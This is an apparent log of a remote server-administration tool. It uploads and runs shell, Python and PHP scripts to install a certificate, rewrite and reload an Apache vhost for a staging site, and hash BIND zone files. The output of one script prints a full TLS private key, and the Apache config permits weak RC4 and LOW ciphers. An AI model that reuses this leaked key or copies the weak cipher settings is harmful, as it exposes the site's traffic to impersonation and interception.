k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			

endmsg

chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
	cp $temp_file /etc/pki/tls/certs/$TARGET
	echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
	cp $temp_file /etc/ssl/certs/$TARGET
	echo dir=/etc/ssl/certs
else
	echo dir=
fi

rm $temp_file


2025-10-03 15:01:45: 

chmod 755 /tmp/pkp891133; /tmp/pkp891133; rm /tmp/pkp891133

2025-10-03 15:01:46: 


dir=/etc/ssl/certs


2025-10-03 15:01:46: 

PUT: /tmp/pkp440008

#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)

show_file() {
	echo $BOUNDARY >> $temp_file
	if [ -f "$1" ]; then
		FILESIZE=$(stat -c%s "$1")
		echo $1	$FILESIZE >> $temp_file
		cat $1 >> $temp_file
	else
		echo $1	0 >> $temp_file
	fi
	echo >> $temp_file
}

show_file "/etc/apache2/sites-enabled/theyoungdesigners_stage.conf"

gzip -cn9 $temp_file
rm $temp_file

2025-10-03 15:01:46: 

chmod 755 /tmp/pkp440008; /tmp/pkp440008; rm /tmp/pkp440008

2025-10-03 15:01:46: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf 47

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>





2025-10-03 15:01:46: 

PUT: /tmp/pkp499204

#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=theyoungdesigners_stage.conf
TARGET=/etc/apache2/sites-enabled/theyoungdesigners_stage.conf
DOCROOT=-
PUBLIC=

cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/theyoungdesigners_stage.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/theyoungdesigners_stage.conf)= /etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/theyoungdesigners_stage.conf= 1'
fi


2025-10-03 15:01:47: 

chmod 755 /tmp/pkp499204; /tmp/pkp499204; rm /tmp/pkp499204

2025-10-03 15:01:47: 




2025-10-03 15:01:47: 

PUT: /tmp/pkp982119

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-03 15:01:47: 

chmod 755 /tmp/pkp982119; /tmp/pkp982119; rm /tmp/pkp982119

2025-10-03 15:01:47: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-03 15:01:47: Establishing a connection
2025-10-03 15:01:48: 

PUT: /tmp/pkp480977

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-03 15:01:49: 

chmod 755 /tmp/pkp480977; /tmp/pkp480977; rm /tmp/pkp480977

2025-10-03 15:01:49: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:2)
         port 80 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:2)
         port 80 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:2)
         port 80 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:2)
         port 80 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:2)
*:443                  is a NameVirtualHost
         default server cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cityelectric.online (/etc/apache2/sites-enabled/cityelectric_www_online.conf:19)
         port 443 namevhost cdn4.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_cdn4_org.conf:18)
         port 443 namevhost alive.pjy.us (/etc/apache2/sites-enabled/pjy_alive_us.conf:19)
         port 443 namevhost home.pjy.us (/etc/apache2/sites-enabled/pjy_home_us.conf:22)
         port 443 namevhost stage.theyoungdesigners.com (/etc/apache2/sites-enabled/theyoungdesigners_stage.conf:18)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2025-10-03 15:01:49: 

PUT: /tmp/pkp636908

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/theyoungdesigners_stage.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-03 15:01:50: 

chmod 755 /tmp/pkp636908; /tmp/pkp636908; rm /tmp/pkp636908

2025-10-03 15:01:50: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/theyoungdesigners_stage.conf	1323

<VirtualHost *:80>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/www_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	stage.theyoungdesigners.com
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt
    DocumentRoot	/mnt/internal/www/theyoungdesigners_stage/public
    <Directory /mnt/internal/www/theyoungdesigners_stage/public>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/theyoungdesigners/stage_secure_access.log combined
    ErrorLog	/var/log/apache2/theyoungdesigners/stage_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-03 15:01:50: 

PUT: /tmp/pkp400407

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-03 15:01:51: 

chmod 755 /tmp/pkp400407; /tmp/pkp400407; rm /tmp/pkp400407

2025-10-03 15:01:51: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/71986a4933a5df06d6ba64d41a00e6e1.crt	5381
40:b1:b6:14:ac:cd:df:61:11:31:93:ae:c9:d9:ca:b9

-----BEGIN CERTIFICATE-----
MIIFEjCCA/qgAwIBAgISBl1qPknw54Nq9T58F8z2EPbqMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjUxMDAzMTQwMzExWhcNMjYwMTAxMTQwMzEwWjAmMSQwIgYDVQQD
ExtzdGFnZS50aGV5b3VuZ2Rlc2lnbmVycy5jb20wggEiMA0GCSqGSIb3DQEBAQUA
A4IBDwAwggEKAoIBAQDKNA8JFruzKhRPXkEp8bWv+pKt0itytSaOVbjbnyQL0xSR
L9S5whBoC4Rwv1dhea5hrVGZFxbafHF9m5axeTYhWHR3od/Hv7blERGkBgcJj9zN
8S6RRZu2pa+zpU++EGOgNxfVl5Tque7/gZrFyu2BXy0gHxHFZMq/29lK48IdLCUy
aagohnD6Kav6rOG0e/VegD2XJRHBcO7WOOpj7zNs5BUaybnj50usufq6G44S41xG
OewIj58RjBVpTWYADWWrR/2I2JTOZZmHhC1bFHARNEHTGNJlTDwbTX6XXxD3mSBi
MEM9tD0X3mJLks+a3yltmMD0FPnHaQKf9mwqEPIXAgMBAAGjggIrMIICJzAOBgNV
HQ8BAf8EBAMCBaAwHQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1Ud
EwEB/wQCMAAwHQYDVR0OBBYEFNsDsyqYFmbn7c3dBDA2CzpsHKXRMB8GA1UdIwQY
MBaAFOernw8sM6BT015PeMiyhA471pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEF
BQcwAoYXaHR0cDovL3IxMy5pLmxlbmNyLm9yZy8wJgYDVR0RBB8wHYIbc3RhZ2Uu
dGhleW91bmdkZXNpZ25lcnMuY29tMBMGA1UdIAQMMAowCAYGZ4EMAQIBMC8GA1Ud
HwQoMCYwJKAioCCGHmh0dHA6Ly9yMTMuYy5sZW5jci5vcmcvMTA3LmNybDCCAQMG
CisGAQQB1nkCBAIEgfQEgfEA7wB1ABmG1Mcoqm/+ugNveCpNAZGqzi1yMQ+uzl1w
QS0lTMfUAAABmaqX1vgAAAQDAEYwRAIgceXu4jPytDP3hT1po1ruSOaVCnhbHhvQ
LAncZiG4eF0CIHdmGf6SRs+vJldbInKnjKQSjeGI3d5T6mBDBKuP2vk/AHYADleU
vPOuqT4zGyyZB7P3kN+bwj1xMiXdIaklrGHFTiEAAAGZqpfW7gAABAMARzBFAiEA
i8IlV+ygxew+LIhH45K/SSIPXzb3NvLH9WQ/CJXmzIACIAjEeJmUp/Ypt6XiUftM
ZVhRtOYIgtNS+qJS4bfkby0iMA0GCSqGSIb3DQEBCwUAA4IBAQA9eLt/6kwSteDQ
5KO5aKLIKSXdNVPihWmFfbBcVFfnYXv/XvjvJhEmPnscDaRilNoBAdtvGJf6elYm
4jmqErBwZuljuqpY/rxiHrJ81kkLJ0VoJ/F+SZxxx07tgsV66036oemcUhkNNWoF
IiidbnFlkhXU26RrVveVJ5SFwC/zwEshVLmBE6s9JKFN6k274Frm0BATU5xhKcAA
LqudHrKADKILvp84Q6cpEVt0tSUwX7nnzty1Zz1UXQX1HzNlUOh4yojr8N6Xq/i2
ie32s+YWvlC2AvUzeS/1S1SJpjcJCjOR1hqVeFPU+VHSKUmzEep/pMbZ4Rm0czui
2m3qOmx+
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQDKNA8JFruzKhRP
XkEp8bWv+pKt0itytSaOVbjbnyQL0xSRL9S5whBoC4Rwv1dhea5hrVGZFxbafHF9
m5axeTYhWHR3od/Hv7blERGkBgcJj9zN8S6RRZu2pa+zpU++EGOgNxfVl5Tque7/
gZrFyu2BXy0gHxHFZMq/29lK48IdLCUyaagohnD6Kav6rOG0e/VegD2XJRHBcO7W
OOpj7zNs5BUaybnj50usufq6G44S41xGOewIj58RjBVpTWYADWWrR/2I2JTOZZmH
hC1bFHARNEHTGNJlTDwbTX6XXxD3mSBiMEM9tD0X3mJLks+a3yltmMD0FPnHaQKf
9mwqEPIXAgMBAAECggEABd1+tifHqAnHbwnv3/SX7ZPaH1qiUgB5LtXDt/Mky4cC
6Lc3d2/uo+X5oH+cXEJ4UXMCk+s8iXfknt0dgOZgMJVtQ28Zm6Su/HQDS/u0xo06
vWqKjEI1oxWpRA++gWfeS+5tLY/pDOn5ycWLpMMfIoqNN4pPLKegzfHlmquCnO/2
m7vCcbFC4Z0fYfblvFe64x5DrPCpMhS59t+vMXSxNM+gJ2onCwvxAyqhfrKelc3f
nI9ab6r1/j4tVY7nznpxZe3I+bM/ikjFmCk2WWnodJ0UDqrnm7EE62h7akumqIz3
Scc9qWO7PEGYAcIS7E0qN4o29B4wXF9nkZfVSbxL+QKBgQD75+ybF2zpqrzEud8N
n7RZqtNYxn18EK2Qu7FLn2ZKHnAYNBqMldGupzkUsgDmTpCSMRtlHs3uw+MEbR74
XngJ/muduAYsjiP06zKtsZDbpUhvpmZ444XPVh7U3TLui0t9hkijjnDu5GrJOP6L
6F1er549m38e7sRUzfYF6fINzQKBgQDNfVe5g1YNDOZfXQvQrqPkCbTd62hoejvj
NRs0f1T5zXc5ftDIJODzdmbRpyEUyg1hY3/kGV/3g6N3ot2UXQE9/6feESmA9TSY
xOD73+Jm+AlbbvUbWHuaXUz8k6Yl5bAZQ8uwTF17Llt1EcKh6bVMmY+Fly+UNKbX
brLZC0C7cwKBgBU6l1r+n2QVynC9xUltoxJHbiY2HA8fjLD80FUyKrmmVQYFJhOg
8JnKZ+oRkjfWeSKI1ukvrmUnxvLxi0GdHHqjIUiaYJLSq78RLyUqKK4KAM+/8zTO
39D4TgLcXVVzEbqTXX3DHEtVnpY0omcB/xRisnA4sX7W2l7XOJuI+qglAoGAGXwy
JQ/k3Dl9WNZxYLBII0AQ7nUDvfFq/ALaHOit4U1aPAc+XZQ1UfydQ+M2dx2YCzwL
4H5FKK1q2KuaT4w5WzcZ2rDGNPg0Tb4dKR/bNGoOvwhD3eBbdAmeQrUNJiYWcQu3
d2YBMgXN0fch7HLPyXBCHI9jlz3wc0eHZuO+Y4ECgYEAmgksdjBhsAIL90qHLmQV
FUO107jw6c1EjSeeKT3T3OHBZ60SZSs2Ocwbq5TvX6TeGdQgr9+9nnIBMGTdCvKF
v66Swwx+R3CpOy98PNrT0OnXTx5k2QP3hyMRfYYgexfnDQO4Kr2tuBAPcu4qYcVF
kL5vbD76CoiphbtB/SJmKmA=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2025-10-03 22:11:09: Establishing a connection
2025-10-03 22:13:04: Establishing a connection
2025-10-03 22:13:04: 

PUT: /tmp/pkp486583

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-03 22:13:05: 

runuser -l bind -s /bin/bash -c '/tmp/pkp486583; rm /tmp/pkp486583'

2025-10-03 22:13:05: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
